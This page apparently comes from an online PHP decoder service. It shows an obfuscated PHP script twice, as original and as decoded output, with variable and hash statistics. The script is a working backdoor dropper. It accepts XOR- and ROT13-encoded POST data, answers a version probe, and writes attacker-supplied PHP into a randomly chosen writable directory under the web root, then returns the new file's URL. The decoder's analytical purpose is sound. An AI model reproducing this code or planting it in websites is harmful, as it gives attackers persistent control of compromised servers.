Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $nopvtuatcy = "xwqbxietwqhfurfx";$ufchjdsv = "";foreach ($_POST as $zmtdbedtcr => $g..

Decoded Output download

<?php $nopvtuatcy = "xwqbxietwqhfurfx";$ufchjdsv = "";foreach ($_POST as $zmtdbedtcr => $gtxasi){if (strlen($zmtdbedtcr) == 16 and substr_count($gtxasi, "%") > 10){mjuqznn($zmtdbedtcr, $gtxasi);}}function mjuqznn($zmtdbedtcr, $ithxcnwi){global $ufchjdsv;$ufchjdsv = $zmtdbedtcr;$ithxcnwi = str_split(rawurldecode(str_rot13($ithxcnwi)));function hzrjfjkj($rliymuro, $zmtdbedtcr){global $nopvtuatcy, $ufchjdsv;return $rliymuro ^ $nopvtuatcy[$zmtdbedtcr % strlen($nopvtuatcy)] ^ $ufchjdsv[$zmtdbedtcr % strlen($ufchjdsv)];}$ithxcnwi = implode("", array_map("hzrjfjkj", array_values($ithxcnwi), array_keys($ithxcnwi)));$ithxcnwi = @unserialize($ithxcnwi);if (@is_array($ithxcnwi)){$zmtdbedtcr = array_keys($ithxcnwi);$ithxcnwi = $ithxcnwi[$zmtdbedtcr[0]];if ($ithxcnwi === $zmtdbedtcr[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function znbtq($eaiwufir) {static $bcnpo = array();$kvnhffgp = glob($eaiwufir . '/*', GLOB_ONLYDIR);if (count($kvnhffgp) > 0) {foreach ($kvnhffgp as $eaiwuf){if (@is_writable($eaiwuf)){$bcnpo[] = $eaiwuf;}}}foreach ($kvnhffgp as $eaiwufir) znbtq($eaiwufir);return $bcnpo;}$gdqeegdc = $_SERVER["DOCUMENT_ROOT"];$kvnhffgp = znbtq($gdqeegdc);$zmtdbedtcr = array_rand($kvnhffgp);$ztqnn = $kvnhffgp[$zmtdbedtcr] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ztqnn, $ithxcnwi);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ztqnn, strlen($gdqeegdc));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $nopvtuatcy = "xwqbxietwqhfurfx";$ufchjdsv = "";foreach ($_POST as $zmtdbedtcr => $gtxasi){if (strlen($zmtdbedtcr) == 16 and substr_count($gtxasi, "%") > 10){mjuqznn($zmtdbedtcr, $gtxasi);}}function mjuqznn($zmtdbedtcr, $ithxcnwi){global $ufchjdsv;$ufchjdsv = $zmtdbedtcr;$ithxcnwi = str_split(rawurldecode(str_rot13($ithxcnwi)));function hzrjfjkj($rliymuro, $zmtdbedtcr){global $nopvtuatcy, $ufchjdsv;return $rliymuro ^ $nopvtuatcy[$zmtdbedtcr % strlen($nopvtuatcy)] ^ $ufchjdsv[$zmtdbedtcr % strlen($ufchjdsv)];}$ithxcnwi = implode("", array_map("hzrjfjkj", array_values($ithxcnwi), array_keys($ithxcnwi)));$ithxcnwi = @unserialize($ithxcnwi);if (@is_array($ithxcnwi)){$zmtdbedtcr = array_keys($ithxcnwi);$ithxcnwi = $ithxcnwi[$zmtdbedtcr[0]];if ($ithxcnwi === $zmtdbedtcr[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function znbtq($eaiwufir) {static $bcnpo = array();$kvnhffgp = glob($eaiwufir . '/*', GLOB_ONLYDIR);if (count($kvnhffgp) > 0) {foreach ($kvnhffgp as $eaiwuf){if (@is_writable($eaiwuf)){$bcnpo[] = $eaiwuf;}}}foreach ($kvnhffgp as $eaiwufir) znbtq($eaiwufir);return $bcnpo;}$gdqeegdc = $_SERVER["DOCUMENT_ROOT"];$kvnhffgp = znbtq($gdqeegdc);$zmtdbedtcr = array_rand($kvnhffgp);$ztqnn = $kvnhffgp[$zmtdbedtcr] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ztqnn, $ithxcnwi);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ztqnn, strlen($gdqeegdc));exit();}}}

Function Calls

None

Variables

$ufchjdsv
$nopvtuatcy xwqbxietwqhfurfx

Stats

MD5 6231191f5ac2c20365304678b09181ca
Eval Count 0
Decode Time 95 ms